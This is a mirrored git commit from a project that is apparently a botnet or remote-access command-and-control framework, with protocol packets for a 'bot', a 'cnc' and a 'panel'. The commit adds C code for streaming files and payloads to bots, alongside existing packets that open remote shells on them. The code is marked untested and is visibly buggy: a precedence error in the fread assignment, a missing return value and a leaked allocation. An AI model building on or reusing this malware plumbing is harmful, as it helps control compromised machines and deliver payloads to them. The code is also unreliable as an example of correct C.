mirror of
				https://github.com/CPunch/Laika.git
				synced 2025-10-31 02:20:21 +00:00 
			
		
		
		
	Lib: Added content stream boilerplate
- code is untested
This commit is contained in:
		
							
								
								
									
										2
									
								
								.gitignore
									
									
									
									
										vendored
									
									
								
							
							
						
						
									
										2
									
								
								.gitignore
									
									
									
									
										vendored
									
									
								
							| @@ -3,5 +3,3 @@ debug | |||||||
| bin | bin | ||||||
| .vscode | .vscode | ||||||
| lconfig.h | lconfig.h | ||||||
| lcontent.c |  | ||||||
| lcontent.h |  | ||||||
|   | |||||||
							
								
								
									
										46
									
								
								lib/include/lcontent.h
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										46
									
								
								lib/include/lcontent.h
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,46 @@ | |||||||
|  | #ifndef LAIKA_CONTENT_H | ||||||
|  | #define LAIKA_CONTENT_H | ||||||
|  |  | ||||||
|  | #include "lpeer.h" | ||||||
|  |  | ||||||
|  | #include <stdio.h> | ||||||
|  | #include <inttypes.h> | ||||||
|  |  | ||||||
|  | enum { | ||||||
|  |     CONTENT_FILE, | ||||||
|  |     CONTENT_PAYLOAD | ||||||
|  | }; | ||||||
|  |  | ||||||
|  | enum { | ||||||
|  |     CONTENT_ERR_ID_IN_USE, | ||||||
|  |     CONTENT_ERR_INVALID_ID | ||||||
|  | }; | ||||||
|  |  | ||||||
|  | typedef uint8_t CONTENT_TYPE; | ||||||
|  | typedef uint8_t CONTENT_ERRCODE; | ||||||
|  |  | ||||||
|  | struct sLaika_content { | ||||||
|  |     FILE *fd; | ||||||
|  |     uint32_t sz; /* content size */ | ||||||
|  |     uint32_t processed; | ||||||
|  |     uint16_t id; | ||||||
|  |     CONTENT_TYPE type; | ||||||
|  |     struct sLaika_content *next; | ||||||
|  | }; | ||||||
|  |  | ||||||
|  | struct sLaika_contentContext { | ||||||
|  |     struct sLaika_peer *peer; | ||||||
|  |     struct sLaika_content *headIn; /* receiving from peer */ | ||||||
|  |     struct sLaika_content *headOut; /* sending to peer */ | ||||||
|  |     uint16_t nextID; | ||||||
|  | }; | ||||||
|  |  | ||||||
|  | void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer); | ||||||
|  | void laikaF_cleanContext(struct sLaika_contentContext *context); | ||||||
|  |  | ||||||
|  | int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type); | ||||||
|  | void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type); | ||||||
|  |  | ||||||
|  | void laikaF_poll(struct sLaika_contentContext *context); | ||||||
|  |  | ||||||
|  | #endif | ||||||
| @@ -58,30 +58,6 @@ enum { | |||||||
|     /* layout of LAIKAPKT_PINGPONG: |     /* layout of LAIKAPKT_PINGPONG: | ||||||
|     *   NULL (empty packet) |     *   NULL (empty packet) | ||||||
|     */ |     */ | ||||||
|     LAIKAPKT_TUNNEL_OPEN, /* if sent to bot, opens a tunnel to localhost's port. if sent to cnc, signifies you opened the tunnel */ |  | ||||||
|     /* layout of LAIKAPKT_TUNNEL_OPEN: |  | ||||||
|     *   uint16_t port; |  | ||||||
|     */ |  | ||||||
|     LAIKAPKT_TUNNEL_CLOSE, /* if sent to bot, closes a tunnel to localhost's port. if sent to cnc, signifies you closed the tunnel */ |  | ||||||
|     /* layout of LAIKAPKT_TUNNEL_CLOSE: |  | ||||||
|     *   uint16_t port; |  | ||||||
|     */ |  | ||||||
|     LAIKAPKT_TUNNEL_CONNECTION_ADD, |  | ||||||
|     /* layout of LAIKAPKT_TUNNEL_CONNECTION_ADD: |  | ||||||
|     *   uint16_t port; |  | ||||||
|     *   uint16_t id; |  | ||||||
|     */ |  | ||||||
|     LAIKAPKT_TUNNEL_CONNECTION_RMV, |  | ||||||
|     /* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV: |  | ||||||
|     *   uint16_t port; |  | ||||||
|     *   uint16_t id; |  | ||||||
|     */ |  | ||||||
|     LAIKAPKT_TUNNEL_CONNECTION_DATA, |  | ||||||
|     /* layout of LAIKAPKT_TUNNEL_CONNECTION_RMV: |  | ||||||
|     *   uint16_t port; |  | ||||||
|     *   uint16_t id; |  | ||||||
|     *   uint8_t data[VAR_PACKET_LENGTH-4]; -- '-4' for the port & id |  | ||||||
|     */ |  | ||||||
|     LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ |     LAIKAPKT_SHELL_OPEN, /* if sent to bot, opens a shell. if sent to cnc, signifies you opened a shell */ | ||||||
|     /* layout of LAIKAPKT_SHELL_OPEN: |     /* layout of LAIKAPKT_SHELL_OPEN: | ||||||
|     *   uint32_t id; // this field is absent from the panel/auth client |     *   uint32_t id; // this field is absent from the panel/auth client | ||||||
| @@ -95,7 +71,23 @@ enum { | |||||||
|     LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */ |     LAIKAPKT_SHELL_DATA, /* if sent to bot, writes data to stdin of shell. if sent to cnc, writes to 'stdout' of shell */ | ||||||
|     /* layout of LAIKAPKT_SHELL_DATA |     /* layout of LAIKAPKT_SHELL_DATA | ||||||
|     *   uint32_t id; // this field is absent from the panel/auth client |     *   uint32_t id; // this field is absent from the panel/auth client | ||||||
|     *   char buf[VAR_PACKET_LENGTH]; |     *   char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)]; | ||||||
|  |     */ | ||||||
|  |     LAIKAPKT_CONTENT_NEW, | ||||||
|  |     /* layout of LAIKAPKT_CONTENT_NEW: | ||||||
|  |     *   uint16_t id; | ||||||
|  |     *   uint32_t sz; | ||||||
|  |     *   uint8_t type; | ||||||
|  |     */ | ||||||
|  |     LAIKAPKT_CONTENT_ERROR, | ||||||
|  |     /* layout of LAIKAPKT_CONTENT_ERROR: | ||||||
|  |     *   uint16_t id; | ||||||
|  |     *   uint8_t errCode; | ||||||
|  |     */ | ||||||
|  |     LAIKAPKT_CONTENT_CHUNK, /* variadic */ | ||||||
|  |     /* layout of LAIKAPKT_CONTENT_CHUNK: | ||||||
|  |     *   uint16_t id; | ||||||
|  |     *   uint8_t buf[VAR_PACKET_LENGTH-sizeof(uint16_t)]; | ||||||
|     */ |     */ | ||||||
| /* ==================================================[[ Auth ]]================================================== */ | /* ==================================================[[ Auth ]]================================================== */ | ||||||
|     LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */ |     LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */ | ||||||
|   | |||||||
							
								
								
									
										153
									
								
								lib/src/lcontent.c
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										153
									
								
								lib/src/lcontent.c
									
									
									
									
									
										Normal file
									
								
							| @@ -0,0 +1,153 @@ | |||||||
|  | #include "lcontent.h" | ||||||
|  | #include "lmem.h" | ||||||
|  | #include "lerror.h" | ||||||
|  |  | ||||||
|  | #include "lsocket.h" | ||||||
|  | #include "lpeer.h" | ||||||
|  |  | ||||||
|  | size_t getSize(FILE *fd) { | ||||||
|  |     size_t sz; | ||||||
|  |     fseek(fd, 0L, SEEK_END); | ||||||
|  |     sz = ftell(fd); | ||||||
|  |     fseek(fd, 0L, SEEK_SET); | ||||||
|  |     return sz; | ||||||
|  | } | ||||||
|  |  | ||||||
|  | bool isValidID(struct sLaika_contentContext *context, uint16_t id) { | ||||||
|  |     struct sLaika_content *curr = context->headIn; | ||||||
|  |  | ||||||
|  |     while (curr) { | ||||||
|  |         if (curr->id == id)  | ||||||
|  |             return true; | ||||||
|  |  | ||||||
|  |         curr = curr->next; | ||||||
|  |     } | ||||||
|  |  | ||||||
|  |     return false; | ||||||
|  | } | ||||||
|  |  | ||||||
|  | void freeContent(struct sLaika_content *content) { | ||||||
|  |     fclose(content->fd); | ||||||
|  |     laikaM_free(content); | ||||||
|  | } | ||||||
|  |  | ||||||
|  | void rmvFromOut(struct sLaika_contentContext *context, struct sLaika_content *content) { | ||||||
|  |     struct sLaika_content *last = NULL, *curr = context->headOut; | ||||||
|  |  | ||||||
|  |     while (curr) { | ||||||
|  |         /* if found, remove it! */ | ||||||
|  |         if (curr == content) { | ||||||
|  |             if (last) | ||||||
|  |                 last->next = curr->next; | ||||||
|  |             else | ||||||
|  |                 context->headOut = curr->next; | ||||||
|  |  | ||||||
|  |             freeContent(curr); | ||||||
|  |             break; | ||||||
|  |         } | ||||||
|  |  | ||||||
|  |         last = curr; | ||||||
|  |         curr = curr->next; | ||||||
|  |     } | ||||||
|  | } | ||||||
|  |  | ||||||
|  | void sendContentError(struct sLaika_peer *peer, uint16_t id, CONTENT_ERRCODE err) { | ||||||
|  |     laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_ERROR); | ||||||
|  |     laikaS_writeInt(&peer->sock, &id, sizeof(uint16_t)); | ||||||
|  |     laikaS_writeByte(&peer->sock, err); | ||||||
|  |     laikaS_endOutPacket(peer); | ||||||
|  | } | ||||||
|  |  | ||||||
|  | void laikaF_initContext(struct sLaika_contentContext *context, struct sLaika_peer *peer) { | ||||||
|  |     context->peer = peer; | ||||||
|  |     context->headIn = NULL; | ||||||
|  |     context->headOut = NULL; | ||||||
|  |     context->nextID = 0; | ||||||
|  | } | ||||||
|  |  | ||||||
|  | void laikaF_cleanContext(struct sLaika_contentContext *context) { | ||||||
|  |     struct sLaika_content *tmp, *curr; | ||||||
|  |  | ||||||
|  |     /* free IN list */ | ||||||
|  |     curr = context->headIn; | ||||||
|  |     while (curr) { | ||||||
|  |         tmp = curr->next; | ||||||
|  |         freeContent(curr); | ||||||
|  |         curr = tmp; | ||||||
|  |     } | ||||||
|  |  | ||||||
|  |     /* free OUT list */ | ||||||
|  |     curr = context->headOut; | ||||||
|  |     while (curr) { | ||||||
|  |         tmp = curr->next; | ||||||
|  |         freeContent(curr); | ||||||
|  |         curr = tmp; | ||||||
|  |     } | ||||||
|  | } | ||||||
|  |  | ||||||
|  | int laikaF_newOutContent(struct sLaika_contentContext *context, FILE *fd, CONTENT_TYPE type) { | ||||||
|  |     struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content)); | ||||||
|  |     struct sLaika_peer *peer = context->peer; | ||||||
|  |  | ||||||
|  |     /* init content struct */ | ||||||
|  |     content->fd = fd; | ||||||
|  |     content->sz = getSize(fd); | ||||||
|  |     content->processed = 0; | ||||||
|  |     content->id = context->nextID++; | ||||||
|  |     content->type = type; | ||||||
|  |  | ||||||
|  |     /* add to list */ | ||||||
|  |     content->next = context->headOut; | ||||||
|  |     context->headOut = content; | ||||||
|  |  | ||||||
|  |     /* let the peer know we're sending them some content */ | ||||||
|  |     laikaS_startOutPacket(peer, LAIKAPKT_CONTENT_NEW); | ||||||
|  |     laikaS_writeInt(&peer->sock, &content->id, sizeof(uint16_t)); | ||||||
|  |     laikaS_writeInt(&peer->sock, &content->sz, sizeof(uint32_t)); | ||||||
|  |     laikaS_writeByte(&peer->sock, type); | ||||||
|  |     laikaS_endOutPacket(peer); | ||||||
|  | } | ||||||
|  |  | ||||||
|  | void laikaF_newInContent(struct sLaika_contentContext *context, uint16_t id, uint32_t sz, CONTENT_TYPE type) { | ||||||
|  |     struct sLaika_content *content = (struct sLaika_content*)laikaM_malloc(sizeof(struct sLaika_content)); | ||||||
|  |  | ||||||
|  |     if (isValidID(context, id)) { | ||||||
|  |         sendContentError(context->peer, id, CONTENT_ERR_ID_IN_USE); | ||||||
|  |         LAIKA_ERROR("ID [%d] is in use!\n", id); | ||||||
|  |     } | ||||||
|  |  | ||||||
|  |     content->fd = tmpfile(); | ||||||
|  |     content->sz = sz; | ||||||
|  |     content->processed = 0; | ||||||
|  |     content->id = id; | ||||||
|  |     content->type = type; | ||||||
|  |  | ||||||
|  |     /* add to list */ | ||||||
|  |     content->next = context->headIn; | ||||||
|  |     context->headIn = content; | ||||||
|  | } | ||||||
|  |  | ||||||
|  | void laikaF_poll(struct sLaika_contentContext *context) { | ||||||
|  |     uint8_t buff[LAIKA_MAX_PKTSIZE-sizeof(uint16_t)]; | ||||||
|  |     struct sLaika_peer *peer = context->peer; | ||||||
|  |     struct sLaika_content *tmp, *curr = context->headOut; | ||||||
|  |     int rd; | ||||||
|  |  | ||||||
|  |     /* traverse our out content, sending each chunk */ | ||||||
|  |     while (curr) { | ||||||
|  |         /* if we've reached the end of the file stream, remove it! */ | ||||||
|  |         if (rd = fread(buff, sizeof(uint8_t), (curr->sz - curr->processed > (LAIKA_MAX_PKTSIZE-sizeof(uint16_t)) ? LAIKA_MAX_PKTSIZE-sizeof(uint16_t) : curr->sz - curr->processed), curr->fd) == 0) { | ||||||
|  |             tmp = curr->next; | ||||||
|  |             rmvFromOut(context, curr); | ||||||
|  |             curr = tmp; | ||||||
|  |             continue; | ||||||
|  |         } | ||||||
|  |  | ||||||
|  |         laikaS_startVarPacket(peer, LAIKAPKT_CONTENT_CHUNK); | ||||||
|  |         laikaS_writeInt(&peer->sock, &curr->id, sizeof(uint16_t)); | ||||||
|  |         laikaS_write(&peer->sock, buff, rd); | ||||||
|  |         laikaS_endVarPacket(peer); | ||||||
|  |  | ||||||
|  |         curr = curr->next; | ||||||
|  |     } | ||||||
|  | } | ||||||
| @@ -7,19 +7,16 @@ const char* laikaD_getPacketName(LAIKAPKT_ID id) { | |||||||
|         "LAIKAPKT_HANDSHAKE_REQ", |         "LAIKAPKT_HANDSHAKE_REQ", | ||||||
|         "LAIKAPKT_HANDSHAKE_RES", |         "LAIKAPKT_HANDSHAKE_RES", | ||||||
|         "LAIKAPKT_PINGPONG", |         "LAIKAPKT_PINGPONG", | ||||||
|         "LAIKAPKT_TUNNEL_OPEN", |  | ||||||
|         "LAIKAPKT_TUNNEL_CLOSE", |  | ||||||
|         "LAIKAPKT_TUNNEL_CONNECTION_ADD", |  | ||||||
|         "LAIKAPKT_TUNNEL_CONNECTION_RMV", |  | ||||||
|         "LAIKAPKT_TUNNEL_CONNECTION_DATA", |  | ||||||
|         "LAIKAPKT_SHELL_OPEN", |         "LAIKAPKT_SHELL_OPEN", | ||||||
|         "LAIKAPKT_SHELL_CLOSE", |         "LAIKAPKT_SHELL_CLOSE", | ||||||
|         "LAIKAPKT_SHELL_DATA", |         "LAIKAPKT_SHELL_DATA", | ||||||
|  |         "LAIKAPKT_CONTENT_NEW", | ||||||
|  |         "LAIKAPKT_CONTENT_ERROR", | ||||||
|  |         "LAIKAPKT_CONTENT_CHUNK", | ||||||
|         "LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ", |         "LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ", | ||||||
|         "LAIKAPKT_AUTHENTICATED_ADD_PEER_RES", |         "LAIKAPKT_AUTHENTICATED_ADD_PEER_RES", | ||||||
|         "LAIKAPKT_AUTHENTICATED_RMV_PEER_RES", |         "LAIKAPKT_AUTHENTICATED_RMV_PEER_RES", | ||||||
|         "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ", |         "LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ" | ||||||
|         "LAIKAPKT_AUTHENTICATED_TUNNEL_OPEN_REQ" |  | ||||||
|     }; |     }; | ||||||
|  |  | ||||||
|     return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id]; |     return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id]; | ||||||
|   | |||||||
		Reference in New Issue
	
	Block a user